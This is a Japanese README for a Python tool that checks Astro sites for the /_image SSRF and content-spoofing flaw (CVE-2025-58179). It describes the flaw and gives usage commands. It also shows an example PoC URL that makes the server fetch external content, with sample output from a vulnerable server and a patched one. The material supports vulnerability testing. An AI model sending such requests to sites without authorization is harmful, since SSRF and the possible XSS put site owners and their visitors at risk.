
Pythonスクリプト:Astroの`/_image`エンドポイントにおけるSSRFおよびコンテンツスプーフィングの脆弱性(CVE-2025-58179)を検証するためのもので、PoC URLの自動生成とHTTPレスポンス検証を備えています。
CVE-2025-58179-Checkは、Astroフレームワークの/_imageエンドポイントにおけるSSRF(Server-Side Request Forgery)/コンテンツスプーフィングの脆弱性を検証するためのシンプルなPythonスクリプトです。
この脆弱性は GHSA-qpr4-c339-7vq8 および CVE-2025-58179 として追跡されています。
この脆弱性は、output: 'server' 設定で @astrojs/cloudflare アダプタを使用しているAstroサイトに影響します。画像を最適化するための /_image エンドポイントが、href パラメータを適切に検証できません。
これにより、攻撃者はサーバーに不正な外部ドメインからコンテンツを取得させ、表示させることが可能になります。影響はSSRFであり、外部コンテンツが悪意のあるファイル(スクリプトを含むSVGなど)の場合、クロスサイトスクリプティング(XSS) につながる可能性があります。
このスクリプトは、サイトがこの問題に対して脆弱であるかを確認するためのテストプロセスを自動化します。
Content-Type: image/* の ステータス200)。requests ライブラリ(検証機能を使用する場合のみ)requests は pip を使用してインストールできます:
pip install requests
CVE-2025-58179-Check.py スクリプトをコピーしてください。chmod +x CVE-2025-58179-Check.pyこのオプションは、エンコードされたPoC URLのみを出力します。ブラウザや他のツールで手動テストを行う場合に便利です。
コマンド:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL>
例:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg)
出力:
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
このオプションはURLを生成し、すぐにHTTP GETリクエストを送信してサーバーの応答を検証します。
コマンド:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL> -r
例:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg) --request
サーバーがステータスコード200を返し、コンテンツタイプが画像である場合、サーバーが外部コンテンツを取得して表示したことを示します。
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 200
[+] Content Type: image/jpeg
[+] Server returned image content - Potential vulnerability detected!
パッチが適用された、または適切に設定されたサーバーは、不正な外部ドメインへのリクエストを拒否し、通常は4xxステータスを返します。
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 400
[+] Content Type: text/plain;charset=UTF-8
[+] Client error - Resource might not be accessible
[!WARNING]
警告
- このスクリプトは教育および正当なセキュリティテストを目的として作成されています。
- ユーザーは自身の行動に対して全責任を負います。許可のないシステムでこのスクリプトを使用しないでください。